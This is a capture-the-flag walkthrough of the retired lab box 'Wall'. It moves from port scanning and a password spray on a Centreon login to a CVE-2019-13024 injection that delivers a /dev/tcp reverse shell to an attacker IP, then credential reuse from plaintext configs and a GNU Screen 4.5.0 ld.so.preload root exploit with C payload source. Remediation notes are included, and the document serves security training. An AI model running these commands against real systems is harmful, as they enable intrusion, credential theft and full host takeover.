Wall
Summary
I scanned the target and found an Apache web server hosting Centreon, a network-monitoring platform at version 19.04. A short automated credential spray against the Centreon login form found the built-in administrator account protected by the trivially weak password, handing me full admin access with no lockout triggered. Using that session, I exploited a known authenticated command-injection flaw in Centreon's poller-configuration feature (CVE-2019-13024), bypassing a space-character filter by substituting ${IFS} to deliver a reverse shell as the web-server account (www-data).
Config files readable by that account stored database credentials in plaintext; those credentials were reused as the login password for the local OS account 'shelby', converting a limited web-process foothold into a full interactive SSH session and yielding the user flag. Post-login enumeration revealed a SUID-root copy of GNU Screen version 4.5.0, which carries a well-known local privilege-escalation flaw allowing any user to write into /etc/ld.so.preload as root; exploiting this loaded my own shared library, produced a root shell, and gave complete control of the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD3="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Full TCP sweep to identify all listening ports.
$ nmap -Pn -p- --min-rate 4000 -T4 --open $TARGETVersion-fingerprint the discovered services.
$ nmap -Pn -sV -p22,80 $TARGETBrute-force web paths; key findings are /centreon and /phpmyadmin.
$ feroxbuster -u http://$TARGET -x php,html,txt -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -s 200,301,302,401,403 -d 2 -q -nExact commands 1
'$PASSWORD3' produces a 302 redirect to ./main.php; all other attempts redirect back to the login page.
$ python3 -c "
import requests, sys
base = 'http://$TARGET/centreon'
for pw in ['admin', 'centreon', 'password', '$PASSWORD3']:
s = requests.Session()
r = s.post(base + '/index.php',
data={'useralias': 'admin', 'password': pw, 'submitLogin': 'Connect'},
allow_redirects=False, timeout=8)
print(pw, r.status_code, r.headers.get('Location',''))
"FixReplace the default Centreon administrator password and enable login lockoutCritical
Exact commands 4
Start the reverse-shell listener on my machine before firing the payload.
$ nc -lvnp 4444Fetch the public Centreon 19.04 / CVE-2019-13024 PoC script for reference.
$ searchsploit -m 47069Authenticate, grab the CSRF token, encode the reverse shell with ${IFS} space bypass. Replace $ATTACKER_IP with your VPN IP. Complete the exploit by POSTing the payload to the poller config via the UI or the script from ExploitDB 47069.
$ python3 - <<PY
import re, base64, requests
base = "http://$TARGET/centreon"
s = requests.Session()
r = s.get(base + '/index.php', timeout=8)
tok = re.search(r'name="centreon_token"[^>]*value="([^"]+)"', r.text).group(1)
s.post(base + '/index.php',
data={'useralias': 'admin', 'password': "$PASSWORD3",
'submitLogin': 'Connect', 'centreon_token': tok}, timeout=8)
rev = "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"
b64 = base64.b64encode(rev.encode()).decode()
payload = f'echo\${{IFS}}{b64}|base64\${{IFS}}-d|bash'
print('Payload:', payload)
# POST payload into poller command-line field, save poller, then trigger
# Configuration -> Pollers -> Generate configuration / Export
PYConfirm in the received shell: uid=33(www-data) gid=33(www-data) groups=33(www-data),6000(centreon).
$ id; hostname; uname -aFixUpgrade Centreon to a version that patches the CVE-2019-13024 command-injection flawCritical
Exact commands 3
Perl config; look for $mysql_passwd and $mysql_user.
$ cat /etc/centreon/conf.pmPHP config alternative; look for $conf_centreon['password'].
$ cat /usr/share/centreon/config/centreon.conf.phpEnumerate all config files that reference credentials to ensure none are missed.
$ find /etc/centreon /usr/share/centreon -type f \( -name '*.conf*' -o -name '*.pm' -o -name '*.php' \) 2>/dev/null | xargs grep -l 'password\|passwd' 2>/dev/nullFixRemove plaintext credentials from web-application config files and enforce password uniquenessHigh
Exact commands 2
Authenticate with the plaintext password recovered from Centreon config files.
$ ssh shelby@$TARGETRead the user flag: <user.txt>.
$ cat ~/user.txtExact commands 7
Enumerate all SUID binaries; look for /bin/screen-4.5.0 owned by root.
$ find / -perm -4000 -type f 2>/dev/nullConfirm: -rwsr-xr-x 1 root root.
$ ls -la /bin/screen-4.5.0Compile the malicious shared library that will make /tmp/rootshell SUID root when loaded.
$ cat > /tmp/libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void) {
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
}
EOF
gcc -fPIC -shared -ldl -nostartfiles -o /tmp/libhax.so /tmp/libhax.cCompile the shell launcher that becomes SUID root once the library runs.
$ cat > /tmp/rootshell.c << 'EOF'
#include <stdio.h>
int main(void) { setuid(0); setgid(0); seteuid(0); setegid(0); system("/bin/sh"); }
EOF
gcc -o /tmp/rootshell /tmp/rootshell.cAbuse the -L flag to write the library path into /etc/ld.so.preload as root; -ls triggers the load.
$ cd /etc && /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" && /bin/screen-4.5.0 -lsExecute the now-SUID-root launcher to drop into a root shell.
$ /tmp/rootshellRead the root flag: <root.txt>.
$ cat /root/root.txtFixRemove the SUID bit from GNU Screen 4.5.0 and upgrade to a patched releaseHigh
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.